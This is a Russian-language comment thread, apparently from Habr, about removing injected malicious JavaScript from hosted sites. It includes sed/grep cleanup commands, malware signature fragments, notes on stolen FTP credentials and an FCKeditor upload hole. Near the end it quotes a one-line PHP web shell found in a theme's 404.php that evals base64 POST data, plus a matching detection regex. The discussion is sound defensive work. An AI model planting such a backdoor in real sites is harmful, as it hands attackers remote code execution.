Очистка заражённых файлов сайта от вредоносного кода

[admion]

Гдеж вы в пятницу были? =( пришлось чистить тотже самый вирус, благо на всех хостингах был ssh. После курения логов для определения стороны напасти в интернете был вытащен вот такой способ:
grep -rl '=Array.prototype.slice.call(arguments).join(""),' . | while read FILENAME; do sed -i -e '$d' $FILENAME; echo "$FILENAME"; done
Излечилось без особых проблем.

[denum]

К сожалению не было возможности написать статью ранее. Написан же данный сканер был аж во вторник, 3 апреля.
Но главное не пройденный путь, а результат!)

[ValdikSS]

Вот-вот, я тоже sedом избавился от него. Только в связке с find.

[Agel_Nash]

Не от сюда ли этот способ был взят?

[Agel_Nash]

Уже не актуально. Этот вирус мутировал и теперь другая сигнатура
")===83)try{Boolean().prototype.q}catch(egewgsd){f=['

[Isopropil]

А откуда точно зараза прилезла — определили?

[denum]

Через заражённую машину, с фтп клиента увели доступы. Это наиболее вероятный сценарий, поскольку пока не были очищены рабочие машины сотрудников, пляски с чисткой происходили регулярно. На данный момент, как я уже говорил, пароли сменили, фтп клиенты сменили, машины очистили. Пока всё спокойно.

[mrThe]

Вы бы логи посмотрели, если они есть. Что бы заразить весь сервер нужно не только доступ к фтп клиента, но и рут доступ к серверу, который получается либо если криво настроенны права, либо если старые, дырявые версии ПО. Собственно ПО рекомендую обновить до последних стабильных версий.

[admion]

Здесь скорее подразумевалось не сервер в общем смысле, а аккаунт шаредхостинга, на котором несколько сайтов.

[admion]

вирус увел пароли с машины, на которой редактировались эти сайты.
Сохранять в клиентах пароли удобно, но ни капли не безопасно =\

[isden]

По личному опыту скажу, что одной из причин такого масштабного заражения может быть тупо вирус на машинах, с которых клиенты ходят по ftp на свои сайты. Причем, вирусу достаточно получить хост/логин/пароль для последующего заражения сайта своими силами. Т.е. одна из мер по борьбе с дальнейшим распостранением — смена паролей + обязательная антивирусная проверка клиентских машин.

[MrMYSTIC]

Тоже столкнулись с такой проблемой, очистили сайты, проверили ПК на вирусы, на нескольких машинах были обнаружены таковые.

Кстати, расшифрованный код достаточно тривиален: pastebin.com/M6U1xC6L
URL почему-то недоступен.

[Isopropil]

М-да. Ох не зря мы категорически запретили любой админский доступ с вендов на свои сайты.

[cbone]

Я своим тоже запретил это делать. Сменил пароли и никого больше не пускаю после пятничного случая.

[shus]

И я немного пострадал из-за этого вируса… Пойду в fckeditor дыру закрывать…

[denum]

Код не тронутый — как писал, таким и оставил. Для статьи на хабр добавил только подробные комментарии.
И недоработок действительно не мало, что уже говорить о том, что если указать тип — .php то скрипт перезапишет и самого себя.
Но когда писался сканер, важно было решить проблему, о другом мало думалось.

Извиняюсь за то, что разочаровал Вас!

[Nc_Soft]

man grep
man egrep

[Iforgot]

У нас тоже было — убрали из JS дописанный код, сменили пароли на фтп, перешли на sFTP. Проблема решилась. Причем мы посмотрели что подгружается с внешнго сайта, куда вел код — там не было ничего. То есть скрипткидди используя уязвимость в FTP софте подгружал JS код без нагрузки, потом через какое-то время собирал урожай сайтов, за которыми «не следят» и туда уже загружал действительных зловредов. Такие дела.

[charon]

if (isset($get_str) && !empty($get_str))

это избыточная проверка, isset здесь совсем не нужен, достаточно !empty.
Самописный рекурсивный обход — это хорошо, но по-моему, вам бы подошёл и стандартный РНР-шный класс RecursiveDirectoryIterator

[charon]

также в порядке облома вирусописателям было бы неплохо настучать хостерам тех сайтов, откуда подключался вредоносный код.

[pro100tak]

Пара замечаний:

1. У Вас ну очень странный док-блок… Вот примерно правильный

    /**
     * Преобразуем входной параметр в массив
     *
     * @param string $get_str Список параметров
     * @param string $separator Разделитель параметров в списке
     * @return array Параметры или FALSE
     */

2. function request(...) — используем PHP 4.Х? Забыли модификаторы доступа

3. dScanner->request(...): isset($get_str) — избыточно ибо будет ошибка при упущении этого параметра

4. Функция find:

$path = realpath('/* тут директория проекта */');

$files = new RegexIterator(
    new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path)
    ),
    '/^.+\.js$/i',
    RecursiveRegexIterator::GET_MATCH
);

return $files;

5. Функция которая выводит список файлов и функция scan() должны использовать функцию find().

П.С. Код писал на коленке и не проверял, просьба ничем не кидаться.

[Nc_Soft]

почему не FilterIterator?

[pro100tak]

Придётся дописывать метод accept() и т.д. Хотя — можно данный класс отнаследовать от FilterIterator. По сути — будет тоже самое :)

[Nc_Soft]

Как по мне тут класс вообще не нужен, 3 функции обернул автор в класс и ооп-way якобы…
На счет RecursiveIteratorIterator вещь прикольная, но на тыщенке файлов, выделенные щедрым хостером 32мб памяти под скрипт, могут и закончиться.

[pro100tak]

ИМХО, имея тысячу .js-файлов зависеть от какого-то щедрого хостера. Не верю! Такого уровня проекты имеют свой кластер серверов.

Если же Вы говорили про перебор тысячи файлов — Вы не поверите, но это будет весьма экономно:

<?php
$fStart = microtime(TRUE);
define('DS', DIRECTORY_SEPARATOR);
$sPath = realpath(dirname(__FILE__) . DS . '..' . DS . '..' . DS);

$aFiles = new RegexIterator(
    new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($sPath . DS)
    ),
    '/^.+\.js$/i',
    RegexIterator::GET_MATCH
);
$aFoundFiles = array();
foreach ($aFiles as $aFile) {
    $aFoundFiles[] = $aFile[0];
}
unset($aFile, $aFiles);
var_dump(
    count($aFoundFiles),
    microtime(TRUE) - $fStart . ' sec',
    memory_get_usage(TRUE),
    memory_get_peak_usage(TRUE));
/*
int(1184)
string(19) "47.937906980515 sec"
int(786432)
int(786432)
*/

Много времени заняло потому что перелопатило 32529 файлов в 12227 каталогах. Много нашло потому что там присутствуют yui, jqGrid, aloha, tinymce, ckeditor + _source, jQuery, jQueryUI ну и наши скрипты.

[pro100tak]

Забыл, запуск проводился на ноутбуке с 5400 об. винтом, 4 ГБ RAM и Core2Duo T5750 2.0 ГГц

[denum]

Зачем же сразу кидаться? Дельные замечания!

[Ajex]

А не проще было на время выяснения поставить какую-то систему контроля версий и откатывать изменения до последнего неинфицированного коммита. Да и изменения так мониторить проще. Просто сам когда-то сражался, такая мысль пришла после, но думаю достаточно эффективно и удобно было бы в данной ситуации.
Ну, или как вариант, убрать права на запись в /var/www… для всех кроме рута. Это первое, что нужно было сделать в такой ситуации.
Да, и странно, что логи ftp сервера не дали ответа кто-же изменил эти скрипты.

[Ajex]

Да, и к слову, код, это результат работы обрусификатора, посему опираться на какие-то сигнатуры из него ненадежно. При следующей вставке мог быть совершенно другой код и сканер бы оказался бесполезным. Посему в таких случаях лучше следить за любыми изменениями в файлах, а не искать конкретные строчки, имхо.

[RomanL]

Мы в четверг боролись с этой ботвой. Тоже был написан клинер, но на Perl'е и чуть покороче :)

Кроме этого пришлось написать сканер, опрашивающий морды сайтов по списку на предмет зараженных .js файлов. Потому что было непонятно какие из сайтов пострадали, поэтому пока находимся в режиме повышенной готовности :)

[kay]

find. -name '*.bla' -type f -exec perl -i -pne 's/

[kay]

Парсер лох. Вот пример очистки на перле

[bar_boss]

Я бы еще порекомендовал удалить файлы: uploadtest.html и test.html в папке FCKeditora /fckeditor/editor/filemanager/connectors
Есть подозрение, что именно через них взламывали сайты и заливали скрипты.

[admion]

взлом через хтмл? в первый раз слышу

[bar_boss]

Насколько я нарыл в интернете, то через эти файлы можно закачать любой php скрипт, через который уже и заражаются остальные. По крайней мере по логам сервера хакер первым делом обращался именно к этому файлу.
Еще в инете пишут, что эта уязвимость распространяется на версии fckeditor до 2.6.4

[buxley]

Точно также как в постах:

• <source lang="php">Много строк кода</source>
• <code>одна строка или кусок кода</code>

[KREGI]

Отличный скрипт, даже сам себя чистит в строке поиска))
я так смотрю прям эпидемия какая то, меня тоже одален этот вирус…

[Darbin]

Недавно взломали сайт одного из клиентов, при заходе на сайт — хром ругается, антивирус ругается. Зашел по фтп, открываю файл который явно заражен — код чистый, открываю другой — тоже чисто. Чувствую что то не то. Захожу по webftp — есть лишний код в этих файлах. Опять по ftp открываю — нет. Как оказалось, антивирус автоматически удалял этот код при выкачивании из фтп. Решил вопрос простым копированием файлов на локальный компьютер и загрузкой обратно.

[ivolodin]

Что поражает, fck-дырка-то совсем старая. А ее по прежнему имеют.

[SageScs]

я тоже боролся, только sed+find: habrahabr.ru/post/139510/

[Dennion]

Старая история, но лучше не ломать голову как удалить вирус, а заранее сделать примитивнейший скрипт-антивирус, который бекапит часто заражаемые файлы в архив, чтобы в архиве их уже никто не попортил. Всегда можно восстановить файлы из свежего бекапа. Во многих CMS есть такие модули, даже в бесплатных.

[falke2]

Это далеко не единственный вирус… На серверах нашей компании возникло глобальное заражение и у нас уже есть куча сигнатур как js, так и php вирусов. А так же около 50 шеллов…

[datacompboy]

так опубликуйте ;)

[falke2]

Была мыслишка, думаю, сегодня оформлю.

[mnemonic]

Я раньше тоже руками искал вредоносное ПО, потом мне надоело и я написал php скрипт. Вот тут можно качнуть revisium.com/ai/

[m1z0]

тоже столкнулся с проблемой, но на тот момент не было ни каких сведений о этом трое JS/Agent.NEK (ESET). Думал что это единичный случай для js файлов (ну только для одного или для двух), когда узнал что заражены все файлы, начал искать одинаковые части скрипта, нашел и решил написать скрипт PHP с помощью него вычистил сайт. После выложил его на github и решил узнать появилась ли такая проблема не только у меня. Действительно я уже не был один и решил помочь, дал ссылку людям, благодарности были, начал изучать этот трой и обновлять скрипт и вот конечный вариант если для кого то проблема актуальна — gist.github.com/2359497

ЗЫ: так же он ищет JS/Kryptik.LP

[WDMGroup]

У клиента похожая хрень была… Добавился код редиректа на левые сайты, если хрефом была ПС (банальный слив трафа).
Лечил поиском и удалением всех вхождений типа eval\(base64_decode\(".+?\"\)\)\; и аналогичными конструкциями регулярных выражений.

Уязвимость, как правило, была в темах к Вёрдпрессу и Джумле!
Файл /wp-content/themes/paradise/404.php:

<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

Дырка давала возможность злоумышленнику послать кодированный POST-запрос на несуществующую страницу сайта и выполнить таким образом любой php-скрипт. Скрипт конечно сами догадываетесь какой)))